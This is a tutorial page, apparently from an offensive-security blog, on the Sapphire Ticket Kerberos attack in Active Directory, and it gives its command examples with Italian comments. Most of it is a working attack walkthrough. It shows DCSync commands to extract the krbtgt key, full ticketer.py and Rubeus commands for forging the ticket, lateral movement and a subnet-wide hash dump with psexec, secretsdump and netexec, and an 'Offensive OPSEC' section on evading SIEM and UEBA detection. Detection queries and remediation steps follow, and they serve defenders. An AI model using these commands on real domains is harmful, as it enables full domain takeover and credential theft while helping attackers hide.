Sapphire Ticket: Kerberos Stealth S4U2Self+U2U Ticket

Sapphire Ticket Attack: The Stealthiest Kerberos Ticket Ever #

The Sapphire Ticket uses S4U2Self+U2U—two extensions to the Kerberos protocol—to obtain a privileged user's PAC (Privilege Attribute Certificate, i.e., the list of groups) directly from the KDC , without ever forging it. This authentic PAC is injected into its legitimate TGT and re-signed with the krbtgt hash. The result: real AS-REQ in the logs, completely authentic PAC, attributes identical to those of the KDC. The hardest variant of the series to detect. Created by Charlie Bromberg (@ShutdownRepo, 2022)

For beginners: In Active Directory, authentication is via Kerberos—a system of “tickets” that prove your identity without retransmitting your password each time. The KDC (Key Distribution Center), which runs on the Domain Controllers, issues these tickets. Sapphire Ticketing is a technique that impersonates a privileged user (e.g., Domain Admin) by creating a ticket virtually identical to one issued by the KDC itself—but without authorization. It is the most sophisticated variant of a family of attacks that includes Golden Ticket , Silver Ticket , and Diamond Ticket . To fully understand it, it helps to first understand how Kerberos works.

Quick Glossary #

For the complete Kerberos protocol, see Kerberos — Authentication in Active Directory.

• S4U2Self (Service for User to Self)Kerberos extension that allows a service to request a TGS for itself on behalf of another user—without knowing the user's password. The KDC returns a TGS that includes the impersonated user's authentic PAC.
• U2U (User-to-User authentication)Kerberos extension that allows authentication between two users without a long-term service key. Instead of encrypting the TGS with a service key, it encrypts it with the session key of a TGT—accessible only to the person holding that TGT.
• S4U2Self+U2U (the key combination)S4U2Self normally requires an SPN. When combined with U2U, it bypasses this requirement: the TGS is encrypted with the attacker's TGT session key instead of a service key. The resulting PAC is that of the KDC for the privileged user—completely authentic.
• ENC-TKT-IN-SKEYKerberos flag in the TGS-REQ indicating a U2U request. When present, the KDC encrypts the TGS with the TGT's session key instead of the service key. This is the primary fingerprint of the Sapphire Ticket in the logs.
• additional-tickets: Field in the TGS-REQ that contains the attacker's TGT — required for U2U. The KDC uses the session key from this TGT to encrypt the response TGS.

Kerberos internals: the S4U2Self+U2U flow #

How to get the authentic PAC without forging it:

1. Attaccante ──AS-REQ (utente low-priv)──► KDC ──AS-REP (TGT_low)──► Attaccante
   [4768 nel log — normale]

2. Attaccante ──TGS-REQ (speciale)──► KDC
   │  PA_FOR_USER = 'Administrator'     ← chi vuoi impersonare
   │  ENC-TKT-IN-SKEY flag = true       ← U2U: cifra con session key, non service key
   │  additional-tickets = TGT_low      ← il KDC usa questa session key
   │  sname = utente_low               ← punta all'attaccante stesso (non a un servizio)
   └─► [4769 nel log — ma con sname insolito e ENC-TKT-IN-SKEY]

3. KDC ──TGS-REP──► Attaccante
   │  TGS cifrato con session key di TGT_low
   │  PAC DENTRO = PAC AUTENTICO di Administrator
   └─► Attaccante decripta con la propria session key → ottiene PAC Administrator

4. Attaccante ──[decripta TGT_low con krbtgt key]──► TGT_low struttura
   Attaccante ──[sostituisce PAC con PAC Administrator]──► TGT_modificato
   Attaccante ──[re-firma con krbtgt key]──► TGT_Sapphire

5. Attaccante ──TGT_Sapphire──► KDC ──TGS-REP──► Servizio ──► Accesso come DA

The critical difference vs. Diamond: Diamond modifies the PAC (adds groups → detectable discrepancy). Sapphire replaces the PAC with one that the KDC generated for Administrator itself—no discrepancy, because it's the authentic PAC.

Introduction #

The Sapphire Ticket is classified T1558.001 (MITRE ATT&CK) —the same category as Golden and Diamond, as it is an evolution of the same family. Introduced by Charlie Bromberg (@ShutdownRepo) as an extension of the Impacket cipher, it represents the current frontier of Kerberos ticket forging techniques.

Where it stacks up against other techniques:

Sapphire is the culmination of evolution: every previous variant leaves a mark forged in the PAC. Sapphire leaves none—the PAC is signed by the KDC itself.

Sapphire vs. Diamond: The Difference That Matters #

When to choose Sapphire instead of Diamond:

• You have MDI configured for PAC anomaly detection → Diamond is detected, Sapphire is not.
• You want maximum authenticity without manually providing User RID and Domain SID.
• You have low-privilege credentials and a krbtgt key, nothing else.

When Diamond may be preferable:

• You need Rubeus (most native Windows tooling available).
• The environment does not have advanced PAC validation → Diamond with /ldap /opsec it's enough.
• You want the Diamond+Silver TGS stealth variant.

How it works in detail #

The complete flow is divided into two distinct phases:

Phase 1 — Extracting the authentic PAC:

1. Request a TGT for yourself (low-privilege user) via AS-REQ → get TGT_low with session key SK_low.
2. Send a special TGS-REQ with:
   • PA_FOR_USER = name of the privileged user to impersonate (Administrator)
   • ENC-TKT-IN-SKEY = true (U2U flag)
   • additional-tickets = TGT_low
   • sname = your username (not a service)
3. The KDC generates a TGS with the Administrator PAC and encrypts it with SK_low.
4. Decrypt the TGS with SK_low → Get the authentic Administrator PAC.

Phase 2 — Injection of PAC into the TGT: 5. Decrypts TGT_low with the krbtgt key (which you have). 6. Replace the PAC of TGT_low with the authentic Administrator key. 7. Re-sign the TGT with the krbtgt key → TGT_Sapphire. 8. Inject TGT_Sapphire in the session → you are Administrator of the entire domain.

Technical note: The PAC extracted via S4U2Self+U2U is technically a PAC from TGS (service ticket), which includes slightly different fields than a PAC from TGT (missing PAC_REQUESTOR_SID e PAC_ATTRIBUTES_INFO (In the TGT format). Impacket handles this difference internally. In modern environments with strict PAC validation, this discrepancy can be detected — but it is rare by default.

Prerequisites #

• Hash krbtgt AES256 (preferred) — same as Golden and Diamond techniques
• Credentials of any domain user (even low-privilege, a valid account is enough)
• Domain FQDN and DC IP

Advantage vs Golden/Diamond: You don't need an explicit Domain SID or the RID of the user you want to impersonate — they are automatically extracted from the PAC obtained via S4U2Self+U2U.

# Estrai krbtgt AES256 key via DCSync (richiede DA o diritti di replica)
# Mimikatz
lsadump::dcsync /domain:corp.local /user:krbtgt
# → * AES256 HMAC Key: <64 char hex>

# Impacket da Linux
impacket-secretsdump corp.local/Administrator:pass@DC_IP -just-dc-user krbtgt
# → krbtgt:aes256-cts-hmac-sha1-96:<64 char hex>

NTLM ≠ AES256: There is no direct conversion. Always use DCSync to extract AES keys. See DCSync.

Step 1 — Get basic TGT and privileged PAC #

Impacket handles everything automatically with -request -impersonateYou don't have to do the two steps manually.

# Impacket ticketer.py — Sapphire Ticket completo
# -request         → esegue AS-REQ per ottenere TGT reale
# -impersonate     → esegue S4U2Self+U2U per ottenere PAC di Administrator

python3 ticketer.py \
  -request \
  -impersonate 'Administrator' \
  -domain corp.local \
  -user utente_low \
  -password Password123 \
  -aesKey KRBTGT_AES256_KEY \
  -domain-sid S-1-5-21-XXXXXXXXXX \
  utente_low
# Output: utente_low.ccache con TGT modificato con PAC autentico di Administrator

Step 2 — Forge the Sapphire Ticket #

Using Impacket from Linux (main method) #

ticketer.py di Packet has native support for Sapphire Ticket via the combination -request + -impersonate (implemented by ShutdownRepo, PR #1411 on Impacket):

# Forma completa
python3 ticketer.py \
  -request \
  -impersonate 'Administrator' \
  -domain corp.local \
  -user utente_low \
  -password Password123 \
  -aesKey KRBTGT_AES256_KEY \
  -domain-sid S-1-5-21-XXXXXXXXXX \
  utente_low

export KRB5CCNAME=utente_low.ccache

# Verifica: il ticket deve avere i gruppi DA di Administrator
klist -v
# → Groups: 512 (Domain Admins), 519 (Enterprise Admins), ecc.

# Accesso immediato
impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.local
impacket-secretsdump -k -no-pass corp.local/Administrator@DC01.corp.local

# Con hash NTLM invece di password
python3 ticketer.py \
  -request \
  -impersonate 'Administrator' \
  -domain corp.local \
  -user utente_low \
  -hashes :NTLM_HASH_UTENTE_LOW \
  -aesKey KRBTGT_AES256_KEY \
  -domain-sid S-1-5-21-XXXXXXXXXX \
  utente_low

# Con chiave AES dell'utente low (più stealth — no RC4)
python3 ticketer.py \
  -request \
  -impersonate 'Administrator' \
  -domain corp.local \
  -user utente_low \
  -aesKey-user AES256_KEY_UTENTE_LOW \
  -aesKey KRBTGT_AES256_KEY \
  -domain-sid S-1-5-21-XXXXXXXXXX \
  utente_low

With Rubeus (alternative approach) #

Rubeus does not have a subcommand sapphire dedicated, but you can replicate the mechanism manually:

# Step 1: ottieni TGT low-privilege
Rubeus.exe asktgt /user:utente_low /password:Password123 /domain:corp.local /enctype:aes256 /nowrap

# Step 2: S4U2Self+U2U per PAC di Administrator
Rubeus.exe s4u /ticket:BASE64_TGT_LOW /self /impersonateuser:Administrator /altservice:host /u2u /nowrap
# → ottieni TGS con PAC autentico di Administrator

# Step 3: inietta il TGS come base per diamond/sapphire
# In pratica: usa Impacket per il Sapphire completo su Linux
# Rubeus ha Diamond con /ldap /opsec come alternativa pratica su Windows

In Windows environments where you prefer to stick with Rubeus, use Diamond Ticket with /ldap /opsec —is almost equivalent to stealth. Pure Sapphire is more easily managed from Linux with Impacket.

Convert .ccache ↔ .kirbi #

impacket-ticketConverter utente_low.ccache sapphire.kirbi
impacket-ticketConverter sapphire.kirbi utente_low.ccache

Step 3 — Lateral Movement and verification #

# Linux — verifica ticket
klist
# → utente_low @ CORP.LOCAL con sessione Administrator

export KRB5CCNAME=utente_low.ccache

# Exec remoto
impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.local
impacket-wmiexec -k -no-pass corp.local/Administrator@TARGET
impacket-smbexec -k -no-pass corp.local/Administrator@TARGET

# DCSync con il ticket
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/Administrator@DC01.corp.local

# NetExec su subnet intera
netexec smb 192.168.1.0/24 --use-kcache -x 'whoami'

# Windows — dopo aver convertito in .kirbi
kerberos::ptt sapphire.kirbi
klist
dir \\DC01\C$

Offensive OPSEC #

ENC-TKT-IN-SKEY is the main fingerprint The S4U2Self+U2U request generates an Event ID 4769 with ENC-TKT-IN-SKEY flag and sname which points to a user instead of a service. This is rare in legitimate environments and can trigger alerts if the SIEM is configured to monitor it. In reality, few environments have this rule active.

Use user AES key low If you use passwords or NTLM hashes for the AS-REQ, the encryption type may be RC4 — abnormal in modern domains. Use -aesKey-user to force AES256 in the initial AS-REQ.

Timing: The AS-REQ → TGS-REQ U2U → privileged access sequence occurs within a few seconds. In UEBA environments, a low-privilege user immediately accessing DA resources is anomalous. Wait a few minutes between the AS-REQ and access, or use an account with a legitimate access history.

Don't run DCSync and Sapphire from the same machine. As with the Diamond Ticket, DCSync correlation with a privileged ticket from the same IP is straightforward for an analyst. Run DCSync from a different location or from an account with legitimate replication rights.

The ccache filename is the name of the low-privilege user. Rename it to something less suspicious before exporting or transferring it.

Limitations and common mistakes #

• -domain-sid mandatory in Impacket: Even if the PAC is automatically extracted, Impacket requires the Domain SID to construct the request. Retrieve it with impacket-lookupsid or from whoami /user.
• PAC_REQUESTOR_SID and PAC_ATTRIBUTES_INFOThe PAC extracted via TGS has slightly different fields than a native TGT PAC. In environments with strict PAC validation, this discrepancy may be detected. Extremely rare by default, but possible on very hardened systems (Windows Server 2022 with PAC validation enabled).
• Requires communication with KDC: It's not offline like Golden Ticket. If the DC is unreachable, use Golden.
• Low valid user credentialsThe initial AS-REQ requires valid credentials. Expired, locked, or incorrectly passworded accounts → AS-REQ fails.
• -aesKey-user not always available: Depends on the Impacket version. Check with python3 ticketer.py --help.
• Clock Skew: Same Kerberos tolerance — 5 minutes. Verify NTP before proceeding.

Real scenario #

A red teamer has access to a helpdesk account with valid credentials (helpdesk:Welcome1) and has already extracted the AES256 hash of krbtgt via DCSync from a separate location.

The environment has MDI with PAC anomaly detection enabled — the Diamond Ticket generates alerts for group discrepancies. The Golden Ticket generates alerts for missing AS-REQs.

# Step 1 — Sapphire Ticket (MDI non rileva discrepanze PAC)
python3 ticketer.py \
  -request -impersonate 'Administrator' \
  -domain corp.local \
  -user helpdesk -password Welcome1 \
  -aesKey KRBTGT_AES256_KEY \
  -domain-sid S-1-5-21-XXXXXXXXXX \
  helpdesk

export KRB5CCNAME=helpdesk.ccache

# Step 2 — DCSync completo
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/Administrator@DC01.corp.local
# → tutti gli hash del dominio

# Step 3 — Golden Ticket per persistenza a lungo termine
# Ora hai il krbtgt che avevi già + tutti gli hash

What MDI sees: Legitimate AS-REQ to helpdesk (4768), TGS-REQ with ENC-TKT-IN-SKEY (4769 — abnormal but not blocked without specific rule), DC access (4624). No PAC alerts because the PAC is legitimate.

Detection #

The Sapphire Ticket is the most difficult technique in the series to detect. The signals are specific and require advanced monitoring.

🔴 HIGH — Critical signals:

• Event ID 4769 with ENC-TKT-IN-SKEY flagThis is the most reliable signal in Sapphire Ticket. A TGS-REQ with this flag indicates U2U authentication—rare in normal environments. Setting an alert on all 4769s with this field is the most effective detection.

// Sapphire Ticket detection — U2U requests anomale
SecurityEvent
| where EventID == 4769
| where TicketOptions has "0x20000000"   // ENC-TKT-IN-SKEY flag
| where ServiceName !in ("krbtgt", "kadmin", "kpasswd")  // Escludi legittimi
| project TimeGenerated, TargetUserName, ServiceName, ClientIPAddress, TicketOptions
| sort by TimeGenerated desc

• 4769 with sname = user account (not a service SPN): A TGS-REQ to a username instead of MSSQLSvc/host, cifs/host, etc. is anomalous.
• Sequence 4768 (AS-REQ) → 4769 U2U → 4624 DA on critical resources in seconds for a low-privilege account.

🟡 MEDIUM — Secondary signals:

• Low-privilege account that accesses resources from Domain Admin immediately after an AS-REQ.
• additional-tickets present in TGS-REQ (Kerberos field indicating U2U) — detectable via network capture (Kerberos traffic on port 88).
• UEBA: Helpdesk user who makes AS-REQ in 30 seconds and then logs in \\DC01\C$ → behavioral anomaly.

Microsoft Defender for Identity: MDI has detection for Sapphire Tickets through U2U flow correlation + PAC validation. A "Suspected Golden Ticket usage" alert may be triggered if PAC correlation shows a privilege that is inconsistent with the account's history.

Note hybrid environments: For environments with Azure AD Connect, add correlation on IdentityLogonEvents in M365 Defender to detect any pivots to the cloud following the on-prem Sapphire Ticket.

Hybrid Environments: Sapphire Ticket and Azure AD #

Like Golden and Diamond, the Sapphire Ticket is exclusively on-premise . It does not provide direct access to cloud resources.

The Sapphire Ticket can compromise on-prem hybrid servers that bridge to Azure AD. If you use the Sapphire Ticket to log in to the Azure AD Connect server and dump its credentials (MSOL_XXXXXXXXXX), you get access to the Azure AD tenant with sync privileges — from there you can pivot to cloud resources.

Incident Response #

Same remediation as Golden and Diamond — the krbtgt hash is compromised.

1. Identify U2U pattern in logs: Event ID 4769 with ENC-TKT-IN-SKEY → This is the Sapphire Ticket. It identifies the low-privilege account used for the AS-REQ.
2. Double reset by krbtgt:

Set-ADAccountPassword -Identity krbtgt -Reset \
  -NewPassword (ConvertTo-SecureString "NuovaPwd1!" -AsPlainText -Force)
# → attendi 10-12 ore
Set-ADAccountPassword -Identity krbtgt -Reset \
  -NewPassword (ConvertTo-SecureString "NuovaPwd2!" -AsPlainText -Force)

# Script ufficiale
.\New-KrbtgtKeys.ps1 -DomainFQDN corp.local -ResetType Twice

klist purge Does not invalidate the Sapphire Ticket. Only resetting krbtgt invalidates it.

1. Reset low-privilege account credentials used for the initial AS-REQ.
2. Hunting on persistences: Scheduled tasks, WMI, backdoor accounts, anomalous SIDHistory on DCs.
3. Enable ENC-TKT-IN-SKEY monitoring post-incident as a permanent SIEM rule.
4. Review Azure AD Connect if present — verify that the credentials MSOL_XXXXXXXXXX have not been extracted.

Mitigation and prevention #

• Protect the krbtgt hash — is the basic requirement for all tickets in the series. See Golden Ticket for the complete chain to krbtgt.
• Double periodic krbtgt reset (at least every six months). Use New-KrbtgtKeys.ps1.
• Monitor Event ID 4769 with ENC-TKT-IN-SKEYThis is the most specific signal in Sapphire Tickets. It sets a SIEM alert on all 4769 tickets with this flag—they are extremely rare in normal environments.
• Monitor DCSync (Event ID 4662) real-time — the krbtgt hash typically arrives via DCSync.
• Microsoft Defender for Identity: Configure alerts for T1558.001 and ensure that PAC validation and U2U anomaly are included.
• PAC validation on critical services: It can detect the discrepancy between PAC TGT and PAC TGS (fields PAC_REQUESTOR_SID e PAC_ATTRIBUTES_INFO) — rare but effective.
• AES-only enforcement (msDS-SupportedEncryptionTypes = 24): Does not prevent Sapphire but forces AES, reducing downgrade vectors. CVE-2026-20833 (Microsoft 2026) is accelerating the phase-out of RC4 in service tickets.
• Map paths to krbtgt with blood hound and remove unnecessary delegations.
• Network monitoring port 88: Capture Kerberos traffic and look for packets with additional-tickets + ENC-TKT-IN-SKEY — is the only way to detect the Sapphire Ticket without MDI.

Comparison: Silver / Golden / Diamond / Sapphire #

¹ Impacket requires it in the CLI but automatically extracts it from the PAC — you don't need to know it a priori.

Quick Reference #

1. Extract krbtgt AES256 key via DCSync :

impacket-secretsdump corp.local/Administrator:pass@DC_IP -just-dc-user krbtgt
# → krbtgt:aes256-cts-hmac-sha1-96:<64 char hex>

2. Sapphire Ticket with Impacket:

python3 ticketer.py -request -impersonate 'Administrator' \
  -domain corp.local -user utente_low -password Password123 \
  -aesKey KRBTGT_AES256_KEY -domain-sid S-1-5-21-XXXXXXXXXX \
  utente_low
export KRB5CCNAME=utente_low.ccache

3. Lateral movement:

impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.local
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/Administrator@DC01.corp.local
netexec smb 192.168.1.0/24 --use-kcache --sam

4. Detection query (KQL — Sentinel):

SecurityEvent
| where EventID == 4769 and TicketOptions has "0x20000000"
| project TimeGenerated, TargetUserName, ServiceName, ClientIPAddress

5. Remediation:

.\New-KrbtgtKeys.ps1 -DomainFQDN corp.local -ResetType Twice

FAQ #

Sapphire or Diamond — Which to Choose? If MDI has PAC anomaly detection active → Sapphire. If you are on Windows and prefer Rubeus → Diamond with /ldap /opsecThe stealth difference in environments without advanced MDI is minimal.

Does Sapphire Ticket bypass PAC validation? No. If PAC validation is active, the comparison between PAC TGT and PAC TGS can detect the discrepancy of the fields. PAC_REQUESTOR_SID. In practice rare, but possible.

I don't have low-privilege credentials—can I still do that? No. Sapphire requires a real AS-REQ with valid credentials. Without credentials, it uses Golden Ticket (completely offline).

Does ENC-TKT-IN-SKEY always appear in the logs? Yes, 4769 with this flag is always generated. The question is whether your SIEM has a rule to detect it—most do not. Configuring this rule is the simplest and most effective mitigation.

Why Rubeus doesn't have sapphire as a direct command? The Sapphire Ticket was implemented primarily in Impacket by ShutdownRepo. Rubeus has Diamond with /ldap /opsec as a practical equivalent on Windows — the end result is similar even if the mechanism differs.

Same remediation as the others? Yes. Double reset krbtgt + reset low-privilege account used for the AS-REQ. No exceptions.

MITRE ATT&CK Mapping #

Final takeaway #

1. The Sapphire Ticket is the end point of evolution: Golden (all forged) → Diamond (modified PAC) → Sapphire (genuine PAC from the KDC). Each step reduces the forgeable traces.
2. The only detectable fingerprint is ENC-TKT-IN-SKEY in the 4769 logs — rare by default, but easy to monitor if you know what to look for.
3. The defense always remains the same: protect the krbtgt hash. If the hash doesn't come out, Golden, Diamond, and Sapphire don't exist.
4. Same remediation for the whole series: double reset krbtgt. No exceptions.

Conclusion #

The Sapphire Ticket closes the series of Kerberos ticket forging techniques with the most sophisticated variant available in 2026. Where the Golden Ticket leaves no AS-REQ and the Diamond leaves a PAC with invented groups, the Sapphire leaves neither trace—the PAC is signed by the KDC itself for the privileged user.

This doesn't mean it's invisible. ENC-TKT-IN-SKEY in the 4769 logs is a clear sign for those who know what to look for. The difference is that few environments have this rule configured.

The pattern of this Kerberos series is always the same: each mitigation generates a more sophisticated variant. The defensive response can't chase every new technique—it must start by protecting the critical asset: the krbtgt hash. If it doesn't come out, the entire Golden/Silver/Diamond/Sapphire series doesn't exist.

Related Articles #

• Kerberos — Active Directory Authentication
• Golden Ticket
• Silver Tickets
• Diamond Ticket
• DCSync
• Pass-the-Ticket
• Packet
• The red
• blood hound
• Mimikatz
• NetExec
• Active Directory — exploitation

Sources and external references #

• MITER ATT&CK – T1558.001: Forge Kerberos Tickets
• ShutdownRepo – Sapphire Ticket PR #1411 (Impacket)
• The Hacker Recipes – Sapphire Tickets
• Microsoft – New-KrbtgtKeys.ps1

For use in authorized environments only.

#sapphire-ticket #kerberos #active-directory #windows #S4U2Self #U2U #persistence